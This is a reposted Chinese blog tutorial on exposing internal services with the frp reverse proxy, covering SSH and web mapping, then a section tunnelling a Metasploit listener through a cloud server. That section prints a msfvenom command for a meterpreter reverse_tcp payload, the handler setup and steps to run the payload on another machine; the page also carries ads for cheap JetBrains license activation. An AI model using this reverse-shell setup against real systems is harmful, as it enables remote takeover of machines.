大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。
Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺
Frp内网穿透
内网穿透从本质上来讲也是端口映射,两者都是将内网地址映射到公网可访问的地址,而区别是端口映射直接在路由器中配置即可,而内网穿透配置的端口映射则需要客户端和服务端进行绑定后实现,相当于客户端和服务端之间建立了一条隧道,然后访问服务端的请求会通过隧道转发给内网主机,该情况多用于没有公网 IP 的情况下使用;
frp是一个高性能的反向代理应用,可以轻松地进行内网穿透,对外网提供服务, 支持tcp, udp, http, https等协议类型,可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网;
## 中文文档地址:
https://gofrp.org/docs/
## github 下载地址:
https://github.com/fatedier/frp/releases
Frp有客户端和服务端,根据所安装主机的系统下载好对应的版本,这里下载了两个版本,一个windows版本,一个linux版本;
1、映射内网SSH服务
将linux版本文件通过xshell上传到云服务器,并进行解压;
## 解压文件
tar xf frp_0.33.0_linux_amd64.tar.gz
## 文件涵义
frpc 客户端程序
frpc_full.ini 客户端完整配置文件
frpc.ini 客户端简易配置文件
frps 服务端程序
frps_full.ini 服务端完整配置文件
frps.ini 服务端简易配置文件
查看简易配置文件,配置了侦听端口为7000,即服务端与客户端通讯的端口;
启动服务端程序;
## 以简易配置启动服务端程序
./frps -c ./frps.ini
在本地CentOS7中解压linux版本文件,并修改客户端简易配置文件frpc.ini;
## 客户端简易配置文件frpc.ini
[common]
server_addr = 123.456.789.111 ## 远程云主机的公网ip地址
server_port = 7000 ## 服务端侦听的端口
[ssh]
type = tcp ## 协议类型
local_ip = 127.0.0.1 ## 本地的ip地址
local_port = 22 ## 本地的端口
remote_port = 6000 ## 映射到服务端的端口
启动客户端程序;
## 以简易配置启动客户端程序
./frpc -c frpc.ini
此时云主机上服务端会显示已经成功的日志信息;
在云主机上查看6000端口的状态,显示已经配置了TCP监听;
通过xshell访问云主机公网ip的6000端口就可以访问内网主机;
2、映射内网Web服务
配置服务端的配置文件frps.ini,vhost_http_port为http服务访问端口,vhost_https_port为https服务访问端口,此处以http服务为例;
## frps.ini配置文件
[common]
bind_port = 7000
vhost_http_port = 8080
配置完成后启动服务端程序;
## 以简易配置启动服务端程序
./frps -c ./frps.ini
更改客户端的配置文件frpc.ini;
## frpc.ini配置文件
[common]
server_addr = 123.456.789.111 ## 云主机的公网IP
server_port = 7000 ## 服务端绑定的端口
[web]
type = http
local_port = 80 ## 本地Web服务的端口
custom_domains = www.yourdomain.com ## 解析到公网IP上的域名
启动客户端程序;
## 以简易配置启动客户端程序
./frps -c ./frps.ini
服务端可以查看到成功链接的日志信息;
访问域名:8080就可以访问本地的Web服务;
3、配置MSF接收来自公网的shell
服务端配置文件不用改变,修改客户端配置文件即可,然后启动客户端程序;
## frpc.ini配置文件
[common]
server_addr = 123.456.789.111 ## 云主机的公网IP
server_port = 7000 ## 服务端绑定的端口
[msf]
type = tcp
local_port = 4444 ## 本地待监听端口
local_ip = 127.0.0.1
remote_port = 8085 ## 云主机映射端口
生成 payload ,LHOST 指定为公网 IP,LPORT 指定为公网映射端口;
## 使用msfvenom生成payload
msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=123.456.789.111 LPORT=8085 -b "\x00" -f elf -o xuyu
本地启动 MSF 并配置侦听,此时监听LOST为本地ip地址,LPORT为frpc.ini配置文件中本地的端口;
## MSF配置本地监听
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.105
set LPORT 4444
exploit
将payload复制到另一台Centos中,并执行;
## 复制payload并执行
scp xuyu root@192.168.1.6:/root/
chmod +x xuyu
./xuyu
MSF 成功接收 shell ;
发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/194252.html原文链接:https://javaforall.cn
【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛
【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...